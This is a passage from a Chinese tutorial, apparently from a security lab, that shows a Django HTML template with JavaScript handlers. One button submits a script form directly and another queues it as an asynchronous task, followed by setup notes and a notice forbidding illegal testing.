                    <button class="btn btn-success col-md-offset-2 btn-lg"
                        onclick="submissions()"><b>提 交</b></button>
                    <button class="btn btn-danger col-md-offset-2 btn-lg"
                        onclick="asytasks()"><b>加入任务队列</b></button>
                </form>
            </div>
        </div>
        <div class="layui-col-md4">
            <div class="grid-demo grid-demo-bg1">&nbsp;</div>
        </div>
    </div>
</div>
<script>
    // 点“提交”时响应，后台直接处理返回结果。适合需要立即响应结果且花费时间少的任务
    function submissions() {
        document.scriptform.action = "{% url 'scriptCall'  %}";
        document.scriptform.submit();
    }
    // 点“加入任务队列”时响应，加入后台异步任务队列。适合花费时间长的任务
    function asytasks() {
        document.scriptform.action = "{% url 'tasksQueue'  %}";
        document.scriptform.submit();
    }
</script>

将模板放到指定目录下后，在后台添加脚本。添加完成后，回到首页即可看到新添加的脚本，这样就可以正常使用该功能了，如附图4所示。

附图4　正常使用添加的脚本

注意：禁止使用本项目所有软件及其文章等资源进行非法测试！平台全部源码和具体操作步骤可在“MS08067安全实验室”公众号回复“Python实战项目”获取！